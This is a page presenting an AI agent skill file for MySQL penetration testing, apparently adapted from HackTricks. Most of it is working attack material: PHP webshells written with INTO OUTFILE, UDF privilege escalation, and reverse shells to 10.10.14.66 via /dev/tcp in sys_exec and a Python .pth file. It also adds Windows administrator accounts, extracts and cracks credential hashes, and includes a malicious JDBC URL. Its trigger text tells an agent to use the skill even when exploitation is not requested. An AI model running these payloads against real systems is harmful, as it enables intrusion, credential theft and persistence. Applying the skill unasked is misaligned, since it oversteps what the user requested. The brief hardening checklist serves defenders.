Hacktricks-skills mysql-pentesting
MySQL database penetration testing and exploitation. Use this skill whenever the user needs to enumerate, exploit, or escalate privileges on MySQL databases (port 3306). Trigger for: MySQL connection testing, credential extraction, privilege escalation, SQL injection exploitation, UDF attacks, file read/write operations, hash cracking, and MySQL security auditing. Make sure to use this skill for any MySQL-related security testing, even if the user doesn't explicitly mention 'pentesting' or 'exploitation'.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/network-services-pentesting/pentesting-mysql/SKILL.MDMySQL Pentesting Skill
A comprehensive guide for MySQL database penetration testing, from initial enumeration to privilege escalation.
Quick Start
# Basic connection mysql -h <target> -u root -p # Local socket connection mysql -S /run/mysqld/mysqld.sock -u root # Nmap enumeration nmap -sV -p 3306 --script=mysql-audit,mysql-databases,mysql-enum,mysql-info,mysql-users <target>
Phase 1: Initial Enumeration
Connection Testing
Local connections:
mysql -u root # Try without password mysql -u root -p # Prompt for password mysql -S /run/mysqld/mysqld.sock # Local socket
Remote connections:
mysql -h <hostname> -u root mysql -h <hostname> -u root@localhost
Nmap Scripts
# Comprehensive MySQL enumeration nmap -sV -p 3306 --script= mysql-audit, mysql-databases, mysql-dump-hashes, mysql-empty-password, mysql-enum, mysql-info, mysql-query, mysql-users, mysql-variables, mysql-vuln-cve2012-2122 <target>
Metasploit Modules
# Version detection use auxiliary/scanner/mysql/mysql_version # Auth bypass hash dump use auxiliary/scanner/mysql/mysql_authbypass_hashdump # Hash dump (requires creds) use auxiliary/scanner/mysql/mysql_hashdump # Full enumeration (requires creds) use auxiliary/admin/mysql/mysql_enum # Schema dump (requires creds) use auxiliary/scanner/mysql/mysql_schemadump # Windows command execution (requires creds) use exploit/windows/mysql/mysql_start_up
Phase 2: Database Enumeration
Basic Information
-- Version and user info SELECT VERSION(); SELECT @@VERSION(); SELECT USER(); SELECT DATABASE(); -- List all databases SHOW DATABASES; -- List tables in current database SHOW TABLES; -- Describe table structure DESCRIBE <table_name>; SHOW COLUMNS FROM <table>;
User and Privilege Enumeration
-- Current user privileges SHOW GRANTS; SHOW GRANTS FOR CURRENT_USER(); SHOW GRANTS FOR 'root'@'localhost'; -- All users and their privileges SELECT * FROM mysql.user; -- Users with FILE privilege (critical for exploitation) SELECT user, file_priv FROM mysql.user WHERE file_priv='Y'; -- Users with SUPER privilege SELECT user, Super_priv FROM mysql.user WHERE Super_priv='Y'; -- Custom privilege check SELECT user, password, create_priv, insert_priv, update_priv, alter_priv, delete_priv, drop_priv FROM mysql.user;
Custom Functions
-- List all stored functions SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION'; -- Non-system functions SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema != 'sys';
Phase 3: File Operations
Reading Files (requires FILE privilege)
-- Read a file SELECT LOAD_FILE('/var/lib/mysql-files/key.txt'); -- Read /etc/passwd SELECT LOAD_FILE('/etc/passwd');
Writing Files (requires FILE privilege)
-- Write PHP webshell SELECT 1,2,"<?php echo shell_exec($_GET['c']);?>",4 INTO OUTFILE 'C:/xampp/htdocs/back.php'; -- Write to Linux SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
INTO OUTFILE Limitations
- Cannot overwrite existing files
- Path is relative to MySQL's current working directory
- Use
to navigate up directories../../ - Requires
to be empty or point to writable locationsecure_file_priv
Phase 4: Privilege Escalation
Via User-Defined Functions (UDF)
Prerequisites:
- MySQL running as root or privileged user
- FILE privilege to write to plugin directory
- Ability to create functions
Linux UDF Exploitation:
-- Use mysql database USE mysql; -- Create table to hold library CREATE TABLE npn(line blob); -- Load the malicious library INSERT INTO npn VALUES(LOAD_FILE('/tmp/lib_mysqludf_sys.so')); -- Find plugin directory SHOW VARIABLES LIKE '%plugin%'; -- Dump library to plugin directory SELECT * FROM npn INTO DUMPFILE '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so'; -- Create the function CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so'; -- Execute commands SELECT sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt'); SELECT sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
Windows UDF Exploitation:
USE mysql; CREATE TABLE npn(line blob); INSERT INTO npn VALUES(LOAD_FILE('C://temp//lib_mysqludf_sys.dll')); SHOW VARIABLES LIKE '%plugin%'; SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll'; CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys_32.dll'; SELECT sys_exec("net user npn npn12345678 /add"); SELECT sys_exec("net localgroup Administrators npn /add");
Windows Directory Creation Trick:
-- Create directory using NTFS ADS when only file write is available SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
Via Python .pth Files
Requirements:
- INTO OUTFILE access to Python site-packages directory
- Python CGI scripts that execute automatically
Payload:
-- Single line Python payload (no spaces) SELECT 'import os,sys,subprocess,base64;subprocess.call("bash -c ''bash -i >& /dev/tcp/10.10.14.66/4444 0>&1''",shell=True)' INTO OUTFILE '/var/lib/python3.10/site-packages/x.pth';
Trigger: Request any Python CGI script to execute the payload.
Via LOAD DATA LOCAL INFILE
Client-side file read:
-- This causes the CLIENT to read the file and send to server LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY '\n';
Note: Requires
local_infile=1 on server and client support.
Phase 5: Credential Extraction
From Configuration Files
# Debian MySQL credentials cat /etc/mysql/debian.cnf # User MySQL config files cat ~/.my.cnf cat ~/.mylogin.cnf # MySQL history cat ~/.mysql.history
From MySQL Data Files
# Extract hashes from user.MYD grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | \ grep -v "mysql_native_password"
From Database
-- Get all user hashes SELECT user, authentication_string FROM mysql.user; -- For older MySQL (password column) SELECT user, password FROM mysql.user;
Cracking Hashes
# Hashcat (mode 21100 for caching_sha2_password) hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist # John the Ripper john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
Phase 6: SQL Injection Techniques
Information Schema Queries
-- Get all table names UNION SELECT 1,2,3,4, GROUP_CONCAT(0x7c,table_name,0x7C) FROM information_schema.tables; -- Get column names for specific table UNION SELECT 1,2,3,4,column_name FROM information_schema.columns WHERE table_name='<TABLE_NAME>';
Binary Data Manipulation
-- Convert hex to binary CONVERT(UNHEX("6f6e2e786d6c55540900037748b75c7249b75"), BINARY) -- Convert base64 to binary CONVERT(FROM_BASE64("aG9sYWFhCg=="), BINARY)
Phase 7: Local Enumeration (Post-Shell)
Check MySQL Service User
# Check config for user setting cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" # Check service status systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | \ cut -d '=' -f2 | cut -d ' ' -f1
Find Credentials and Sockets
# MySQL sockets ls -l /run/mysqld/mysqld.sock /var/run/mysqld/mysqld.sock 2>/dev/null # Credential files ls -l /etc/mysql/debian.cnf ~/.my.cnf ~/.mylogin.cnf 2>/dev/null # Config analysis grep -RNI -E '^(bind-address|skip-networking|socket)\b' \ /etc/mysql /etc/my.cnf* 2>/dev/null
Quick Posture Check
mysql -S /run/mysqld/mysqld.sock -u root -e " SHOW VARIABLES LIKE 'secure_file_priv'; SHOW VARIABLES LIKE 'local_infile'; SHOW GRANTS FOR CURRENT_USER(); " 2>/dev/null
Phase 8: Recent Vulnerabilities (2023-2025)
CVE-2023-21971: JDBC propertiesTransform RCE
Affected: MySQL Connector/J <= 8.0.32
Exploit:
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
Mitigation: Upgrade to Connector/J 8.0.33+
Rogue MySQL Server Attacks
Tools:
(Java)mysql-fake-server
(Python)rogue_mysql_server
Attack flow:
- Victim connects to attacker-controlled MySQL server
- Server sends crafted packets triggering LOCAL INFILE or deserialization
- Achieve file read or RCE on victim
Example:
java -jar fake-mysql-cli.jar -p 3306
Security Hardening Checklist
- Set
LOCAL_INFILE=0 - Set
--secure-file-priv=/var/empty - Remove FILE privilege from application accounts
- Set
in Connector/JallowLoadLocalInfile=false - Set
in Connector/JautoDeserialize=false - Disable unused authentication plugins
- Require TLS:
require_secure_transport = ON - Monitor for: CREATE FUNCTION, INSTALL COMPONENT, INTO OUTFILE, LOAD DATA LOCAL
Information Schema Reference
Key Tables
| Database | Table | Purpose |
|---|---|---|
| information_schema | TABLES | All tables across databases |
| information_schema | COLUMNS | Column definitions |
| information_schema | ROUTINES | Stored procedures and functions |
| information_schema | USER_PRIVILEGES | User privileges |
| mysql | user | User accounts and hashes |
| mysql | db | Database-level privileges |
| mysql | tables_priv | Table-level privileges |
| performance_schema | global_variables | Server variables |
Useful Commands Reference
# Execute SQL from file mysql -u username -p < commands.sql # Execute single command mysql -u root -h 127.0.0.1 -e 'SHOW DATABASES;' # Get shell from MySQL client \! sh # Change MySQL root password UPDATE mysql.user SET authentication_string=PASSWORD('NewPass') WHERE User='root'; FLUSH PRIVILEGES;
Scripts
Use the bundled scripts for common tasks:
- Automated enumerationscripts/mysql_enum.sh
- Privilege assessmentscripts/mysql_priv_check.sh
- Hash extraction from filesscripts/mysql_hash_extract.sh